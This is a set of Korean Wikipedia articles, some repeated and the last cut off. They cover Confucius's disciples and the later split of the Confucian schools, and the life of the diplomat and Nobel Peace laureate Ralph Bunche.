《사기》(史記) [중니 제자 열전]을 토대로 작성한 것으로, 《공자가어(孔子家語)》 및 기타 《논어》의 주석 등에서 주장하는 제자들과 상이한 부분이 있다. 안회 민손 염경 염옹 염구 중유 재여 단목사 언언 복상 전손사 증삼 담대멸명 복부제 원헌 공야장 남궁괄 공석애 증점 안무요 상구 고시 칠조개 공백요 사마경 번수 유약 공서적 무마시 양전 안행 염유 조휼 백건 공손룡 염계 공조구자 진조 칠조차 안고 칠조도보 양사적 상택 석작촉 임부제 공량유 후처 진염 공하수 해용잠 공견정 안조 교선 구정강 한보흑 진상 신당 안지복 영기 현성 좌인영 연급 정국 진비 시지상 안쾌 보숙승 원항적 악해 염결 숙중회 안하 적흑 방손 공충 공서여여 공서잠 각주[편집] ↑ "칠십자 (七十子)", 《네이버 지식사전》. 2011년 6월 24일에 확인. ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 유가, 《글로벌 세계 대백과사전》 ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자, 《글로벌 세계 대백과사전》 ↑ 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자의 성악설, 《글로벌 세계 대백과사전》 참고 문헌[편집] 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 "동양사상 > 동양의 사상 > 중국의 사상 > 제자백가의 사상 > 공문의 2유파" 항목을 기초로 작성된 글이 포함되어 있습니다. vdeh제자백가와 그 계승자유가사상가 공자 칠십자 증자 안회 자사 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 저서 논어 맹자 순자 춘추번로 관물편 태극도설 통서 정몽 서명 이정전서 이천역전 주자문집 사서집주 근사록 주자어류 전습록 도가사상가 노자 열자 장자 양주 왕필 곽상 도연명 저서 도덕경 열자 장자 장자주 묵가사상가 묵자 호비자 전구 송견 윤문 저서 묵자 수소자 호비자 전구자 법가사상가 관중 자산 오기 상앙 신불해 신도 한비 이사 이회 저서 관자 오자병법 상군서 한비자 명가사상가 등석 송견 윤문 혜시 공손룡 저서 등석자 윤문자 공손룡자 음양가사상가 추연 추석 저서 추연 추자종시 종횡가사상가 귀곡자·귀곡선생·왕후 소진 소대 장의 저서 귀곡자 병가사상가 손무 손빈 사마양저 울요 황석공 이정 저서 손자병법 손빈병법 사마법 울요자 육도 삼략 이위공문대 잡가사상가 여불위 유안 저서 여씨춘추 회남자 농가사상가 허행 저서 신농 야로 제민요술 농서 농상집요 소설가사상가 육자 청사자 저서 육자 청사자 기타사상가 좌구명 굴원 편작 저서 춘추좌씨전국어 초사 난경 사상가와 저서는 대략적인 시대순으로 나열되어 있습니다. 한자명과 생몰연대 등이 툴팁에 표시됩니다. vdeh유교의 도통 요 순 우 탕 문왕 무왕 주공 공자 증자와 안자 자사 맹자 주자(周子) 장자(張子) 이정자《정호와 정이》 주자(朱子) 주자가 주장한 도통(道統)이며 (참고: 유교#도통), 생몰연대가 툴팁으로 표시됩니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=공자의_제자&oldid=24488428" 분류: 제자백가공자의 제자숨은 분류: 글로벌세계대백과를 인용한 문서글로벌세계대백과를 인용한 문서/유교 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 English日本語Українська中文 링크 편집 이 문서는 2019년 6월 27일 (목) 00:15에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
공자의 제자 - 위키백과, 우리 모두의 백과사전 공자의 제자 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 유교 기본 개념 수기치인(修己治人) 인(仁) 의(義) 예(禮) 충(忠) 효(孝) 인물 공자 칠십자 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 경전 사서 논어 맹자 대학 중용 오경 시경 서경 역경 춘추 예기 삼례 주례 의례 예기 십삼경 논어 맹자 시경 서경 역경 주례 의례 예기 춘추좌씨전 춘추공양전 춘추곡량전 이아 효경 역사 내성파 · 숭례파 법치주의 · 법가 문치주의 성선설 · 성악설 분서갱유 오경박사 훈고학 경학 현학 성리학 양명학 고증학 공양학 관련 항목 국자감 과거제 삼공 서원 육예 사대부 일본 주자학 한국의 유교 한·당 시대의 사상 송·명 시대의 사상 v • d • e • h 공자의 제자 또는 공자의 문인은 그 수가 많아 이름이 알려져 있는 사람만도 70명을 넘고 있다. 사마천의 《사기》〈중니 제자 열전〉에 그 명단이 기록되어 있다. 공자(孔子)의 제자 가운데 뛰어난 70인을 칠십자(七十子)라고 하는데, 기록에 따라서는 육십일자(六十一子) 또는 칠십이현(七十二賢)이라고도 한다.[1] 이들 중에서도 특히 유명한 제자로는 자로(子路) · 염유(冉有) · 유약(有若) · 안회(顔回) · 중궁(仲弓) · 자공(子貢) · 자하(子夏) · 자유(子遊) · 증자(曾子) 등이 손꼽힌다. 《논어》〈선진〉편에 따르면, 공자의 제자는 '선진(先進; 먼저 나온 사람. 선배)'과 '후진(後進; 뒤에 나온 사람, 후배)' 그룹으로 나뉜다. 선배 그룹은 공자와 나이 차이가 20여세 정도인 사람들로, 자로 자공 유약 등이다. 후배 그룹은 공자와 40세 정도 차이가 나는 사람들로 안회 증자 자하 자유 자장 등이다. 이들 선배 그룹과 후배 그룹을 '弟子'라고 하는데, '아우뻘(弟)인 사람, 아들 뻘(子)인 사람'이라는 뜻이다. 아들뻘인 후배 그룹들이 공자의 사상을 후세에 전했다. 증자를 이은 맹자, 자하 자유 등을 이은 순자가 그들이다. 공자의 제자들은 스승인 공자가 사망한 후에 여러 파로 분파된 것으로 보이는데, 크게 2분하면 증자(曾子) · 자사(子思)의 계통에 속하는 내성파(內省派; 안으로 반성을 함. 마음 수양을 중시함. 仁 중심)와 자하(子夏) · 자유(子遊)의 계통에 이어지는 숭례파(崇禮派; 예를 높임. 예를 닦음. 禮 중심)의 2파로 나뉘었다.[2] 이 두 파를 공문의 2유파(孔門의 二流派)라 한다. 이들 선진시대(先秦時代) 유가의 두 줄기의 흐름은 후대에까지 많은 영향을 미쳤다. 목차 1 공문의 2 혹은 8 개의 유파 1.1 내성파 1.2 숭례파 2 공자의 제자들 3 각주 4 참고 문헌 공문의 2 혹은 8 개의 유파[편집] 공자의 제자들은 공자가 죽은 뒤에 여러 파로 나뉘었다. 《한비자(韓非子)》의 〈현학편〉에 의하면, 유가에는 자장(子張) · 자사(子思) · 안씨(顔氏) · 맹씨(孟氏) · 칠조(漆雕) · 중량씨(仲良氏) · 손씨(孫氏) · 악정씨(樂正氏) 등의 8파(八派)가 있었다. 또 《맹자》[공손추] 편에 의하면 공자의 사후에 자하(子夏) · 자장(子張) · 자유(子遊)의 3인이 유약(有若)을 스승으로 모시려고 하자 증자(曾子)가 강력하게 반대했다. 유약은 공자 제자 가운데 연장자(선배) 그룹에 속하는 사람으로, 《논어》에 그가 예를 중시한 것으로 기록되어 있다. 따라서 마음에 인격(仁)을 닦는 것을 강조하는 증자가 반대한 것이다. 이 8파는 다시 2파, 즉 증자(曾子)를 중심으로 한 내성파(內省派)와 자유(子遊) · 자하(子夏) 자유(子游) 자장(子張)을 중심으로 한 숭례파(崇禮派)로 나뉘었다.[2] 증자를 이은 것이 맹자이고, 자하 자유 계열을 계승한 사람이 순자이다. 8파 가운데 맹씨(孟氏)는 맹자, 손씨(孫氏)는 순자를 가리킨다. 순자는 손경(孫卿)이라고도 불렸다. 안씨(顔氏)는 공자의 제자 안회를 가리키며, 《장자》에 공자와 안회의 대화가 매우 자주 나오는 것으로 봐서, 장자(莊子) 계열로 이어진 것으로 보는 사람도 있다.(한유, 곽말약) 칠조(漆雕)는 《논어》에 '칠조개'로 나오는 사람으로, 유협(遊俠; 무사)의 무리였다. 악정씨(樂正氏)는 《맹자》에 '악정자(樂正子)'로 나오는 맹자 제자를 가리키는 것 같다. 중량씨(仲良氏)는 그 유래나 계열이 명확하지 않다. 《맹자》〈등문공〉편을 보면, 초나라에 허행(許行)을 중심으로 진상(陳相) 등의 무리가 공자의 학설을 따랐다. 이들은 공자가 초나라에 갔을 때, 형성된 유가 그룹인 것 같다. 이들 초나라 그룹의 유자 계열 가운데 후대에 유명한 사람이 《초사》를 쓴 굴원이다. 그는 간신들과 싸우다 쫓겨나서 방황하다 죽었다. 또한 연나라 임금 쾌(噲)가 재상 자지(子之)에게 군주 자리를 물려주는 선양(禪讓)을 했다. 이는 요->순->우가 왕위를 물려주던 방식으로, 가장 현명한 신하에게 왕위를 물려 주는 것이다. 맹자나 순자가 이상적인 통치로 강조했던 것을 연나라에서는 실행을 했다. 그 선양의 결과 반란이 일어나고 쾌와 자지 등은 모두 비극적으로 살해되었다. 이들 역시 유가 학설을 실천한 사람들이다. 초나라와 연나라의 이 두 계열은 《한비자》〈현학〉편에 기록되어 있지 않다. 진시황의 스승이자 재상이었던 여불위가 《여씨춘추》를 편찬했다. 이 책은 제자백가의 사상을 종합한 것이지만, 기본적으로는 유가적인 통치를 주장한 것이다. 진시황은 법가의 부국강병책에 따라 7국을 통일하려 했다. 반면 《여씨춘추》는 1년을 12달로 나누어 각 달마다 해야 할 일을 기록한 것이다. 기본적으로 진시황이 확장을 주장했다면, 《여씨춘추》는 안정과 조화를 주장했다. 진시황의 법가 노선과 여불위의 유가 노선이 충돌했고, 결국 진시황은 여불위를 죽였다. 이 대립에서 진나라에 미친 유가의 영향을 알 수 있다. 내성파[편집] 맹자 증자(曾子: 기원전 505~435, 이름은 삼參)는 공자(孔子: 기원전 551~479) 사후의 유력한 지도자로서 공자의 '인(仁; 사랑 인격)' 사상에 근거한 유심주의적 측면을 발전시켜, 대가족 중심의 씨족제(氏族制)하에서의 도덕규범으로서의 효를 중시하였다. 그의 사상을 이어받은 사람이 공자의 손자인 자사(子思: 기원전 483?~402?)이다. 자사는 "천(天)"이라는 종교적 관념을 바탕으로 인간의 존재와 도덕을 규제하였다. 그것을 "성(誠)"이라고 이름 지어 철학의 중심에 두고 만물의 근본인 "도(道)"와 일치한다고 했다. 자사의 학통을 계승한 사상가가 맹자(孟子: 기원전 372?~289?)이다. 맹자는 인(仁) · 의(義)라는 것을 주장하였지만, 그 기초가 되는 것은 그 자신이 주장한 성선설(性善說)이었다. 맹자의 성선설에서 주장하는 인간의 본성이 선하다는 견해는 자사의 종교적 관념으로서의 천(天)과 밀접하게 서로 관련되어 있었다. 한편, 맹자의 정치론의 목적은 당시 붕괴되어 가던 봉건적 지배체제를 유지하는 데에 있었다. 후에 송나라(960~1279) 시대에서는 선진시대(先秦時代: 기원전 221년 이전) 유가(儒家)의 도통(道通: 유학 전도의 계통)이 강조됨으로써 공자 · 증자 · 자사 · 맹자의 계보가 중시되어 공자의 《논어(論語)》, 증자의 《대학(大學)》, 자사의 《중용(中庸)》, 맹자의 《맹자(孟子)》의 4서가 성립되었다. 숭례파[편집] 순자 자유(子遊) · 자하(子夏)의 파는 분명하지는 않으나 대체로 예(禮)라고 하는 외적 규범을 중시하였으며, 그리고 이들 양자 간에도 차이가 있었음을 순자(荀子: 기원전 298?~238?)도 지적하고 있다. 유가의 내성파에 속한 자사(子思: 기원전 483?~402?)와 맹자(孟子: 기원전 372?~289?)를 통렬히 비판한 사람이 순자인데, 그는 자궁(子弓: 자유(子遊)라고 하는 설도 있다)의 학통을 이은 것 같고, 또 인간의 본성에 대한 이해에 있어서 종교적 천(天)의 사상에서 탈각하여 성악설(性惡說)을 제출하였으며 예(禮)를 강조하였다. 순자는 사람의 본성은 원래 악하기 때문에 성인에 의해 정해진 예(禮)에 따라서 교정하지 않으면 안된다는 성악설에 의거하여, 예(禮)를 법(法)에 접근시켜 국가 통치의 원리로 했다.[3] 그는 예(禮)와 법(法)을 동일시함으로써 법(法)을 사회질서의 이념(理念)으로 끌어올려 사상의 한 유파로서의 법가(法家)가 성립될 수 있는 근거를 제공하였다.[4] 법가의 대표적인 사상가인 이사(李斯)와 한비자(韓非子)는 순자의 문하생이었다.[3] 순자의 사상은 송나라(960~1279)의 성리학의 학풍 이래로 이단적인 학이라 취급되어 왔으나 근년에 이르러 재평가를 받게 되었다. 공자의 제자들[편집] 아래 명단은 《사기》(史記) [중니 제자 열전]을 토대로 작성한 것으로, 《공자가어(孔子家語)》 및 기타 《논어》의 주석 등에서 주장하는 제자들과 상이한 부분이 있다. 안회 민손 염경 염옹 염구 중유 재여 단목사 언언 복상 전손사 증삼 담대멸명 복부제 원헌 공야장 남궁괄 공석애 증점 안무요 상구 고시 칠조개 공백요 사마경 번수 유약 공서적 무마시 양전 안행 염유 조휼 백건 공손룡 염계 공조구자 진조 칠조차 안고 칠조도보 양사적 상택 석작촉 임부제 공량유 후처 진염 공하수 해용잠 공견정 안조 교선 구정강 한보흑 진상 신당 안지복 영기 현성 좌인영 연급 정국 진비 시지상 안쾌 보숙승 원항적 악해 염결 숙중회 안하 적흑 방손 공충 공서여여 공서잠 각주[편집] ↑ "칠십자 (七十子)", 《네이버 지식사전》. 2011년 6월 24일에 확인. ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 유가, 《글로벌 세계 대백과사전》 ↑ 가 나 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자, 《글로벌 세계 대백과사전》 ↑ 세계사 > 인류 문화의 시작 > 도시국가와 춘추전국시대 > 전국시대의 제자백가 > 순자의 성악설, 《글로벌 세계 대백과사전》 참고 문헌[편집] 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 "동양사상 > 동양의 사상 > 중국의 사상 > 제자백가의 사상 > 공문의 2유파" 항목을 기초로 작성된 글이 포함되어 있습니다. vdeh제자백가와 그 계승자유가사상가 공자 칠십자 증자 안회 자사 맹자 순자 동중서 소옹 주돈이 장재 정호 정이 주희 왕양명 저서 논어 맹자 순자 춘추번로 관물편 태극도설 통서 정몽 서명 이정전서 이천역전 주자문집 사서집주 근사록 주자어류 전습록 도가사상가 노자 열자 장자 양주 왕필 곽상 도연명 저서 도덕경 열자 장자 장자주 묵가사상가 묵자 호비자 전구 송견 윤문 저서 묵자 수소자 호비자 전구자 법가사상가 관중 자산 오기 상앙 신불해 신도 한비 이사 이회 저서 관자 오자병법 상군서 한비자 명가사상가 등석 송견 윤문 혜시 공손룡 저서 등석자 윤문자 공손룡자 음양가사상가 추연 추석 저서 추연 추자종시 종횡가사상가 귀곡자·귀곡선생·왕후 소진 소대 장의 저서 귀곡자 병가사상가 손무 손빈 사마양저 울요 황석공 이정 저서 손자병법 손빈병법 사마법 울요자 육도 삼략 이위공문대 잡가사상가 여불위 유안 저서 여씨춘추 회남자 농가사상가 허행 저서 신농 야로 제민요술 농서 농상집요 소설가사상가 육자 청사자 저서 육자 청사자 기타사상가 좌구명 굴원 편작 저서 춘추좌씨전국어 초사 난경 사상가와 저서는 대략적인 시대순으로 나열되어 있습니다. 한자명과 생몰연대 등이 툴팁에 표시됩니다. vdeh유교의 도통 요 순 우 탕 문왕 무왕 주공 공자 증자와 안자 자사 맹자 주자(周子) 장자(張子) 이정자《정호와 정이》 주자(朱子) 주자가 주장한 도통(道統)이며 (참고: 유교#도통), 생몰연대가 툴팁으로 표시됩니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=공자의_제자&oldid=24488428" 분류: 제자백가공자의 제자숨은 분류: 글로벌세계대백과를 인용한 문서글로벌세계대백과를 인용한 문서/유교 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 English日本語Українська中文 링크 편집 이 문서는 2019년 6월 27일 (목) 00:15에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
랠프 번치 - 위키백과, 우리 모두의 백과사전 랠프 번치 위키백과, 우리 모두의 백과사전. (랠프번치에서 넘어옴) 둘러보기로 가기 검색하러 가기 랠프 번치 Ralph Bunche 출생 1903년 8월 7일미국 미시간주 디트로이트사망 1971년 12월 9일 (68세)미국 뉴욕주 뉴욕 직업 정치학자, 외교관 랠프 존슨 번치(Ralph Johnson Bunche, 1903년 8월 7일 ~ 1971년 12월 9일 )는 미국의 정치학자 겸 외교관이다. 1940년대 말 팔레스타인 문제를 조정한 공로로 1950년 흑인으로는 처음으로 노벨 평화상을 수상했으며, 1963년에는 유엔의 발전에 기여한 공로를 인정받아 존 F. 케네디 미국 대통령으로부터 대통령 자유 훈장을 받기도 했다. 유엔을 위한 기초를 세우는 계획을 도왔고, 1946년 사무국에서 신탁통치 분할 경영자가 되었다. 목차 1 초기 생애 2 학창 시절 3 유엔 경력 3.1 노벨 평화상 수상 4 지속적인 인도주의적 노력들 5 외부 링크 초기 생애[편집] 로스앤젤레스에서 번치가 어린 시절 조모와 함께 지낸 집 디트로이트에서 태어났다. 자신의 가족이 뉴멕시코주 앨버커키로 이주한 후, 자신의 초기적 청년기 동안에 모친이 사망하였다. 결과로서 번치와 그의 여동생은 자신의 손자의 교육을 위한 주요 주창자가 된 외조모 루시 테일러 존슨에 의하여 길러졌다. 학창 시절[편집] 번치는 훌륭한 학생으로 증명되는 데 육상에 뛰어났고, 졸업생 대표로서 제퍼슨 고등학교를 졸업하였다. 그는 장학금에 캘리포니아 대학교의 남부 지점(현재의 캘리포니아 대학교 로스앤젤레스)에서 수학하며 다양한 스포츠에서 활약하였고, 추가적 비용들을 위하여 내는 데 문지기로 일하였다. 그는 대학 군사 프로그램을 향하여 무임 승선자로서 애써 나간 후, 여름 동안에 선원의 일부로서 일하기도 하였다. 1927년 파이·베타·캐파의 일원과 졸업생 대표로서 졸업하였다. 그는 하버드 대학교에 들어가 문학사(1928년)와 정부/국제 관계에서 철학박사(1934년)를 취득하면서 정치학 박사 학위를 따는 데 첫 아프리카계 미국인이 되었다. 1928년 그는 하워드 대학교의 학부에도 가입하였으며, 이어서 그들의 정치학부를 발포하는 데 도움을 주었다. 후에 그는 런던 경제 대학과 케이프타운 대학교 같은 학회에서 대학원의 인류학 업무를 하였다. 유엔 경력[편집] 번치는 1930년대 중반에 스워스모어 칼리지의 인종 관계 학회의 합동 국장이 되었고, 1936년 〈인종의 세계 전망〉이란 책을 저서하였다. 10년간의 말기에 그는 미국에서 단호하게 인종 차별을 본 책 〈미국인의 궁지〉를 위한 자신의 연구에서 저널리스트이자 사회학자 군나르 뮈르달을 보조하기도 하였다. 제2차 세계 대전이 일어나는 동안에 번치는 국방 프로그램의 일부로 일하고, 후에 국무부에 가입하여 유엔의 형성에서 주요 인물이 되었다. 그는 결국 국제 기구의 사무국에 가입하기 위하여 국무부를 떠났다. 노벨 평화상 수상[편집] 1949년 휴전 협정을 청취한 유엔의 인사부를 위하여 번치가 발행한 통행권 번치의 주요 성과들 중의 하나는 1947년부터 1949년까지 아랍과 이스라엘의 군대 사이에 주요 논쟁의 현장 팔레스타인에 평화를 가져오는 데 그의 노력들이었다. 자신의 감독이자 중재자 폴케 베르나도테가 테러 공격에 사망한 후, 번치는 로도스 섬에 회담으로 지도하는 데 요구되었다. 장기적 협상 진행은 양쪽과 함께 외교관이 기꺼이 만나면서 규정이 지어졌다. 휴전 협정은 1949년에 맺어졌다. 번치는 이듬해 노벨 평화상을 수상하였으며, 상을 타는 데 아프리카계 미국인 처음이자 세계에서 첫번째 유색인(흑인)이 되었다. 이어서 해리 트루먼 대통령이 번치를 국무부의 보조 장관이 되기를 원했어도 번치는 제공을 거절하고, 아직도 국가의 수도를 다스린 인종적으로 분리된 정책들을 인용하였다. 브롱크스 우드론 묘지에 있는 번치의 묘비 지속적인 인도주의적 노력들[편집] 번치의 활동은 지속적으로 전투에 협상의 힘과 외교에서 자신의 믿음에 의하여 알려졌다. 1950년대의 말기로 향하여 그는 특별 정세를 위한 유엔의 차관이 되었고, 1956년 수에즈 위기에서 수천명의 비전투적, 중립 군사들의 급파를 감시하였다. 군인들이 전쟁에 원조하지 않고 평화를 유지하는 데 쓰이면서 번치는 이 노력을 자신이 해낸 "단 하나의 가장 만족한 업무"로 인용하였다. 번치는 1960년대로 들어가 자신의 근무를 지속하였으며, 콩고(자이르), 키프로스와 바레인에서 분쟁의 중단을 지휘하였다. 국내적으로 번치는 또한 20년 이상이나 유색인의 촉진을 위한 국립 협회의 위원 중의 일부로 복무하였고, 흑인 인권 운동의 다른 노력들에 참가하기도 하였다. 신장과 심장을 포함한 다수의 병을 겪은 번치는 1971년 12월 9일 뉴욕에서 사망하였다. 자신의 경력에 그는 4배 이상의 명예 박사 학위와 대통령 자유 훈장을 포함한 수많은 영예를 받았다. 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 랠프 번치 위키인용집에 이 문서와관련된 문서가 있습니다. 랠프 번치 노벨 위원회 홈페이지의 랠프 번치 소개 랠프 번치의 전기 vdeh 노벨 평화상 수상자경제학상 | 문학상 | 물리학상 | 생리 의학상 | 평화상 | 화학상1901 – 1925 1901: 앙리 뒤낭 / 프레데리크 파시 1902: 엘리 뒤코묑 / 샤를 고바 1903: 윌리엄 랜들 크리머 1904: 국제법 학회 1905: 베르타 폰 주트너 1906: 시어도어 루스벨트 1907: 에르네스토 모네타 / 루이 르노 1908: 클라스 아르놀드손 / 프레드리크 바예르 1909: A. M. F. 베르나르트 / 폴 데스투르넬 드 콩스탕 1910: 국제 평화국 1911: 토비아스 아서르 / 알프레트 프리트 1912: 엘리후 루트 1913: 앙리 라퐁텐 1917: 국제 적십자 위원회 1919: 우드로 윌슨 1920: 레옹 부르주아 1921: 얄마르 브란팅 / 크리스티안 랑에 1922: 프리티오프 난센 1925: 오스틴 체임벌린 / 찰스 도스 1926 – 1950 1926: 아리스티드 브리앙 / 구스타프 슈트레제만 1927: 페르디낭 뷔송 / 루트비히 크비데 1929: 프랭크 빌링스 켈로그 1930: 나탄 셰데르블롬 1931: 제인 애덤스 / 니컬러스 버틀러 1933: 노먼 에인절 1934: 아서 헨더슨 1935: 카를 폰 오시에츠키 1936: 카를로스 사베드라 라마스 1937: 로버트 세실 1938: 난센 국제 난민 사무소 1944: 국제 적십자 위원회 1945: 코델 헐 1946: 에밀리 볼치 / 존 롤리 모트 1947: 영국 퀘이커 봉사 협회 / 미국 퀘이커 봉사 위원회 1949: 존 보이드 오어 1950: 랠프 번치 1951 – 1975 1951: 레옹 주오 1952: 알베르트 슈바이처 1953: 조지 마셜 1954: 유엔 난민 기구 1957: 레스터 B. 피어슨 1958: 도미니크 피르 1959: 필립 노엘베이커 1960: 앨버트 루툴리 1961: 다그 함마르셸드 1962: 라이너스 폴링 1963: 국제 적십자 위원회 / 국제 적십자사 연맹 1964: 마틴 루터 킹 주니어 1965: 유니세프 1968: 르네 카생 1969: 국제 노동 기구 1970: 노먼 볼로그 1971: 빌리 브란트 1973: 헨리 키신저 / 레득토 (수상 거부) 1974: 숀 맥브라이드 / 사토 에이사쿠 1975: 안드레이 사하로프 1976 – 2000 1976: 베티 윌리엄스 / 메어리드 코리건 1977: 국제사면위원회 1978: 안와르 사다트 / 메나헴 베긴 1979: 테레사 수녀 1980: 아돌포 페레스 에스키벨 1981: 유엔 난민 기구 1982: 알바 뮈르달 / 알폰소 가르시아 로블레스 1983: 레흐 바웬사 1984: 데즈먼드 투투 1985: 핵전쟁 방지 국제 의사회 1986: 엘리 위젤 1987: 오스카르 아리아스 1988: 유엔 평화유지군 1989: 제14대 달라이 라마 1990: 미하일 고르바초프 1991: 아웅산수찌 1992: 리고베르타 멘추 1993: 넬슨 만델라 / F. W. 데 클레르크 1994: 야세르 아라파트 / 시몬 페레스 / 이츠하크 라빈 1995: 퍼그워시 회의 / 조지프 로트블랫 1996: 카를루스 벨루 / 조제 하무스 오르타 1997: 지뢰 금지 국제 운동 / 조디 윌리엄스 1998: 존 흄 / 데이비드 트림블 1999: 국경없는의사회 2000: 김대중 2001 – 현재 2001: 유엔 / 코피 아난 2002: 지미 카터 2003: 시린 에바디 2004: 왕가리 마타이 2005: 국제 원자력 기구 / 무함마드 엘바라데이 2006: 그라민 은행 / 무함마드 유누스 2007: 앨 고어 / 기후 변화에 관한 정부간 패널 2008: 마르티 아티사리 2009: 버락 오바마 2010: 류샤오보 2011: 엘런 존슨설리프 / 리마 보위 / 타우왁쿨 카르만 2012: 유럽 연합 2013: 화학 무기 금지 기구 2014: 카일라시 사티아르티 / 말랄라 유사프자이 2015: 튀니지 국민 4자 대화 기구 2016: 후안 마누엘 산토스 2017: 핵무기 폐기 국제 운동 2018: 드니 무퀘게 / 나디아 무라드 전거 통제 WorldCat VIAF: 46805351 LCCN: n50045583 ISNI: 0000 0000 8124 8972 GND: 118664956 SUDOC: 030457165 BNF: cb121867657 (데이터) BIBSYS: 90575775 NKC: ola2002158004 원본 주소 "https://ko.wikipedia.org/w/index.php?title=랠프_번치&oldid=23296869" 분류: 1903년 태어남1971년 죽음미국의 정치학자미국의 외교관미시간주 출신 정치인노벨 평화상 수상자미국의 노벨상 수상자아프리카계 미국인캘리포니아 대학교 로스앤젤레스 동문하버드 대학교 동문대통령 자유 훈장 수상자하버드 대학교 교수하워드 대학교 교수아일랜드계 미국인디트로이트 출신미국의 유엔 직원숨은 분류: VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةБеларускаяБеларуская (тарашкевіца)‎БългарскиCatalàČeštinaDanskDeutschEnglishEspañolEestiفارسیSuomiFrançaisगोंयची कोंकणी / Gõychi KonknniעבריתInterlinguaBahasa IndonesiaItaliano日本語KurdîМонголBahasa MelayuNederlandsNorskPolskiپنجابیPortuguêsРусскийScotsSimple EnglishSlovenščinaSvenskaKiswahiliTagalogTürkçeТатарча/tatarçaУкраїнськаاردوTiếng ViệtWinarayYorùbá中文 링크 편집 이 문서는 2018년 12월 20일 (목) 09:31에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
랠프 번치 - 위키백과, 우리 모두의 백과사전 랠프 번치 위키백과, 우리 모두의 백과사전. (랠프번치에서 넘어옴) 둘러보기로 가기 검색하러 가기 랠프 번치 Ralph Bunche 출생 1903년 8월 7일미국 미시간주 디트로이트사망 1971년 12월 9일 (68세)미국 뉴욕주 뉴욕 직업 정치학자, 외교관 랠프 존슨 번치(Ralph Johnson Bunche, 1903년 8월 7일 ~ 1971년 12월 9일 )는 미국의 정치학자 겸 외교관이다. 1940년대 말 팔레스타인 문제를 조정한 공로로 1950년 흑인으로는 처음으로 노벨 평화상을 수상했으며, 1963년에는 유엔의 발전에 기여한 공로를 인정받아 존 F. 케네디 미국 대통령으로부터 대통령 자유 훈장을 받기도 했다. 유엔을 위한 기초를 세우는 계획을 도왔고, 1946년 사무국에서 신탁통치 분할 경영자가 되었다. 목차 1 초기 생애 2 학창 시절 3 유엔 경력 3.1 노벨 평화상 수상 4 지속적인 인도주의적 노력들 5 외부 링크 초기 생애[편집] 로스앤젤레스에서 번치가 어린 시절 조모와 함께 지낸 집 디트로이트에서 태어났다. 자신의 가족이 뉴멕시코주 앨버커키로 이주한 후, 자신의 초기적 청년기 동안에 모친이 사망하였다. 결과로서 번치와 그의 여동생은 자신의 손자의 교육을 위한 주요 주창자가 된 외조모 루시 테일러 